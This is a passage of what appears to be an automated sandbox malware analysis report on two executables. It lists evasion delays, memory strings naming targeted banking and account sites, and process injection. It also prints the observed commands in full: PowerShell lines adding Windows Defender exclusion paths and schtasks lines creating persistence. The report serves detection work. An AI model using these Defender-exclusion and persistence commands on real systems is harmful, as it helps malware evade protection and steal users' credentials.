          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595937s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595817s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595687s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595578s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595468s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595359s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595250s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595140s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -595030s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594922s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594812s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594703s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594593s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594484s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -594375s >= -30000s
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599867Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599749Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599640Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599530Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599421Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599311Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599203Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599079Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598969Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598829Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598704Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598579Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598454Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598329Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598204Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598079Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597954Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597829Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597719Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597610Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597469Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597360Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597235Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597110Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596985Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596873Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596766Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596641Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596516Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596406Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596287Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596172Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596063Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595938Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595813Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595688Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595578Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595466Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595360Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595250Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595137Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595032Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594922Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594813Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594688Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594563Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594438Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594313Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594201Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 922337203685477
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 600000
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599890
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599781
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599671
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599562
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599453
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599319
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599203
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599093
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598905
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598796
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598687
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598578
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598468
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598359
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598214
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598109
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597999
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597888
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597765
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597656
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597547
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597437
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597289
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597172
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597062
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596953
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596843
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596734
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596625
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596505
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596375
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596265
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596156
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596047
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595937
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595817
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595687
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595578
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595468
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595359
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595250
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595140
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595030
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594922
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594812
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594703
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594593
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594484
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594375
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000C.00000002.2209468588.0000000000FC3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}l
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696487552}
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696487552x
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696487552f
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696487552j
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696487552u
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696487552}
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696487552}
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696487552t
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696487552o
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: qEmultipart/form-data; boundary=------------------------8dd1f0d506ad3d1<
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696487552o
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696487552t
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696487552j
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696487552x
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: qEmultipart/form-data; boundary=------------------------8dd1f22c705a7ac<
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696487552h
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696487552h
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696487552t
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696487552f
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696487552]
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696487552u
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696487552x
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696487552x
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696487552d
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696487552s
          Source: FT876567090.exe, 0000000A.00000002.3388595176.0000000001105000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3387590250.00000000015F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696487552d
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696487552]
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696487552s
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696487552x
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696487552t
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696487552}
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004664000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696487552x
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_05B09578 LdrInitializeThunk,10_2_05B09578
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Adds a directory exclusion to Windows Defender
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"Jump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\FT876567090.exeMemory written: C:\Users\user\Desktop\FT876567090.exe base: 400000 value starts with: 4D5AJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Users\user\Desktop\FT876567090.exe "C:\Users\user\Desktop\FT876567090.exe"Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp"Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Users\user\Desktop\FT876567090.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
